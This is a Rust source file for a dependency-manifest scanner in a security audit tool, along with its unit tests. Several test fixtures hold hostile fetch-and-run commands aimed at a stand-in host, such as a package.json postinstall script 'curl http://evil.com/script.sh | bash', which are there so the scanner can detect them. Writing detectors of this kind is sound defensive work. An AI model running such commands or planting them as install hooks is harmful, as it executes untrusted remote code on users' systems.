Skip to main content

cc_audit/scanner/
dependency.rs

1use crate::error::Result;
2use crate::rules::Finding;
3use crate::scanner::{Scanner, ScannerConfig};
4use crate::{impl_content_scanner, impl_scanner_builder};
5use std::path::Path;
6use walkdir::WalkDir;
7
8const DEPENDENCY_FILES: &[&str] = &[
9    "package.json",
10    "package-lock.json",
11    "Cargo.toml",
12    "Cargo.lock",
13    "requirements.txt",
14    "pyproject.toml",
15    "poetry.lock",
16    "Pipfile",
17    "Pipfile.lock",
18    "Gemfile",
19    "Gemfile.lock",
20    "go.mod",
21    "go.sum",
22    "pom.xml",
23    "build.gradle",
24    "composer.json",
25    "composer.lock",
26];
27
28pub struct DependencyScanner {
29    config: ScannerConfig,
30}
31
32impl_scanner_builder!(DependencyScanner);
33impl_content_scanner!(DependencyScanner);
34
35impl DependencyScanner {
36    fn is_dependency_file(path: &Path) -> bool {
37        path.file_name()
38            .and_then(|name| name.to_str())
39            .map(|name| DEPENDENCY_FILES.contains(&name))
40            .unwrap_or(false)
41    }
42}
43
44impl Scanner for DependencyScanner {
45    fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
46        let content = self.config.read_file(path)?;
47        let path_str = path.display().to_string();
48        Ok(self.config.check_content(&content, &path_str))
49    }
50
51    fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
52        let mut findings = Vec::new();
53
54        for entry in WalkDir::new(dir)
55            .into_iter()
56            .filter_map(|e| e.ok())
57            .filter(|e| e.path().is_file())
58        {
59            let path = entry.path();
60            if Self::is_dependency_file(path)
61                && let Ok(file_findings) = self.scan_file(path)
62            {
63                findings.extend(file_findings);
64            }
65        }
66
67        Ok(findings)
68    }
69}
70
71#[cfg(test)]
72mod tests {
73    use super::*;
74    use crate::scanner::ContentScanner;
75    use std::fs;
76    use tempfile::TempDir;
77
78    fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
79        let path = dir.path().join(name);
80        fs::write(&path, content).unwrap();
81        path
82    }
83
84    #[test]
85    fn test_scan_clean_package_json() {
86        let dir = TempDir::new().unwrap();
87        create_file(
88            &dir,
89            "package.json",
90            r#"{
91              "name": "clean-package",
92              "version": "1.0.0",
93              "dependencies": {
94                "express": "^4.18.0"
95              }
96            }"#,
97        );
98
99        let scanner = DependencyScanner::new();
100        let findings = scanner.scan_path(dir.path()).unwrap();
101
102        assert!(
103            findings.is_empty(),
104            "Clean package.json should have no findings"
105        );
106    }
107
108    #[test]
109    fn test_detect_dangerous_postinstall() {
110        let dir = TempDir::new().unwrap();
111        create_file(
112            &dir,
113            "package.json",
114            r#"{
115              "name": "malicious-package",
116              "scripts": {
117                "postinstall": "curl http://evil.com/script.sh | bash"
118              }
119            }"#,
120        );
121
122        let scanner = DependencyScanner::new();
123        let findings = scanner.scan_path(dir.path()).unwrap();
124
125        assert!(
126            findings
127                .iter()
128                .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
129            "Should detect dangerous postinstall script"
130        );
131    }
132
133    #[test]
134    fn test_detect_git_dependency() {
135        let dir = TempDir::new().unwrap();
136        create_file(
137            &dir,
138            "package.json",
139            r#"{
140              "name": "package-with-git-dep",
141              "dependencies": {
142                "my-lib": "git://github.com/user/repo"
143              }
144            }"#,
145        );
146
147        let scanner = DependencyScanner::new();
148        let findings = scanner.scan_path(dir.path()).unwrap();
149
150        assert!(
151            findings.iter().any(|f| f.id == "DEP-002"),
152            "Should detect git:// dependency"
153        );
154    }
155
156    #[test]
157    fn test_detect_wildcard_version() {
158        let dir = TempDir::new().unwrap();
159        create_file(
160            &dir,
161            "package.json",
162            r#"{
163              "name": "package-with-wildcard",
164              "dependencies": {
165                "dangerous-lib": "*"
166              }
167            }"#,
168        );
169
170        let scanner = DependencyScanner::new();
171        let findings = scanner.scan_path(dir.path()).unwrap();
172
173        assert!(
174            findings.iter().any(|f| f.id == "DEP-003"),
175            "Should detect wildcard version"
176        );
177    }
178
179    #[test]
180    fn test_detect_http_dependency() {
181        let dir = TempDir::new().unwrap();
182        create_file(
183            &dir,
184            "package.json",
185            r#"{
186              "name": "package-with-http",
187              "dependencies": {
188                "insecure-lib": "http://example.com/package.tar.gz"
189              }
190            }"#,
191        );
192
193        let scanner = DependencyScanner::new();
194        let findings = scanner.scan_path(dir.path()).unwrap();
195
196        assert!(
197            findings
198                .iter()
199                .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
200            "Should detect HTTP/tarball dependency"
201        );
202    }
203
204    #[test]
205    fn test_scan_cargo_toml() {
206        let dir = TempDir::new().unwrap();
207        create_file(
208            &dir,
209            "Cargo.toml",
210            r#"
211[package]
212name = "risky-crate"
213version = "0.1.0"
214
215[dependencies]
216some-lib = { git = "https://github.com/user/repo" }
217"#,
218        );
219
220        let scanner = DependencyScanner::new();
221        let findings = scanner.scan_path(dir.path()).unwrap();
222
223        assert!(
224            findings.iter().any(|f| f.id == "DEP-002"),
225            "Should detect git dependency in Cargo.toml"
226        );
227    }
228
229    #[test]
230    fn test_scan_requirements_txt() {
231        let dir = TempDir::new().unwrap();
232        create_file(
233            &dir,
234            "requirements.txt",
235            "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
236        );
237
238        let scanner = DependencyScanner::new();
239        let findings = scanner.scan_path(dir.path()).unwrap();
240
241        assert!(
242            findings.iter().any(|f| f.id == "DEP-002"),
243            "Should detect git+ dependency in requirements.txt"
244        );
245    }
246
247    #[test]
248    fn test_ignore_non_dependency_files() {
249        let dir = TempDir::new().unwrap();
250        create_file(&dir, "README.md", "curl http://evil.com | bash");
251        create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
252
253        let scanner = DependencyScanner::new();
254        let findings = scanner.scan_path(dir.path()).unwrap();
255
256        assert!(findings.is_empty(), "Should not scan non-dependency files");
257    }
258
259    #[test]
260    fn test_scan_nested_dependency_files() {
261        let dir = TempDir::new().unwrap();
262        let sub_dir = dir.path().join("subproject");
263        fs::create_dir(&sub_dir).unwrap();
264        fs::write(
265            sub_dir.join("package.json"),
266            r#"{"dependencies": {"evil": "*"}}"#,
267        )
268        .unwrap();
269
270        let scanner = DependencyScanner::new();
271        let findings = scanner.scan_path(dir.path()).unwrap();
272
273        assert!(
274            findings.iter().any(|f| f.id == "DEP-003"),
275            "Should scan nested dependency files"
276        );
277    }
278
279    #[test]
280    fn test_scan_single_file() {
281        let dir = TempDir::new().unwrap();
282        let file_path = create_file(
283            &dir,
284            "package.json",
285            r#"{"dependencies": {"lib": "latest"}}"#,
286        );
287
288        let scanner = DependencyScanner::new();
289        let findings = scanner.scan_file(&file_path).unwrap();
290
291        assert!(
292            findings.iter().any(|f| f.id == "DEP-003"),
293            "Should detect 'latest' version"
294        );
295    }
296
297    #[test]
298    fn test_is_dependency_file() {
299        assert!(DependencyScanner::is_dependency_file(Path::new(
300            "package.json"
301        )));
302        assert!(DependencyScanner::is_dependency_file(Path::new(
303            "Cargo.toml"
304        )));
305        assert!(DependencyScanner::is_dependency_file(Path::new(
306            "requirements.txt"
307        )));
308        assert!(DependencyScanner::is_dependency_file(Path::new(
309            "pyproject.toml"
310        )));
311        assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
312        assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
313        assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
314        assert!(DependencyScanner::is_dependency_file(Path::new(
315            "composer.json"
316        )));
317
318        assert!(!DependencyScanner::is_dependency_file(Path::new(
319            "README.md"
320        )));
321        assert!(!DependencyScanner::is_dependency_file(Path::new(
322            "config.json"
323        )));
324        assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
325    }
326
327    #[test]
328    fn test_default_trait() {
329        let scanner = DependencyScanner::default();
330        let dir = TempDir::new().unwrap();
331        let findings = scanner.scan_path(dir.path()).unwrap();
332        assert!(findings.is_empty());
333    }
334
335    #[test]
336    fn test_scan_content_directly() {
337        let scanner = DependencyScanner::new();
338        let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
339        let findings = scanner.scan_content(content, "package.json").unwrap();
340        assert!(!findings.is_empty());
341    }
342
343    #[test]
344    fn test_scan_nonexistent_path() {
345        let scanner = DependencyScanner::new();
346        let result = scanner.scan_path(Path::new("/nonexistent/path"));
347        assert!(result.is_err());
348    }
349
350    #[test]
351    fn test_with_skip_comments() {
352        let scanner = DependencyScanner::new().with_skip_comments(true);
353        let dir = TempDir::new().unwrap();
354        create_file(
355            &dir,
356            "requirements.txt",
357            "# git+https://github.com/user/repo\nrequests==2.28.0",
358        );
359
360        let findings = scanner.scan_path(dir.path()).unwrap();
361        // The git+ line is a comment, so should be skipped
362        assert!(
363            !findings.iter().any(|f| f.id == "DEP-002"),
364            "Should skip commented lines when skip_comments is true"
365        );
366    }
367
368    #[test]
369    fn test_multiple_dependency_files() {
370        let dir = TempDir::new().unwrap();
371        create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
372        create_file(
373            &dir,
374            "Cargo.toml",
375            r#"[dependencies]\nb = { version = "*" }"#,
376        );
377
378        let scanner = DependencyScanner::new();
379        let findings = scanner.scan_path(dir.path()).unwrap();
380
381        assert!(findings.len() >= 2, "Should find issues in both files");
382    }
383}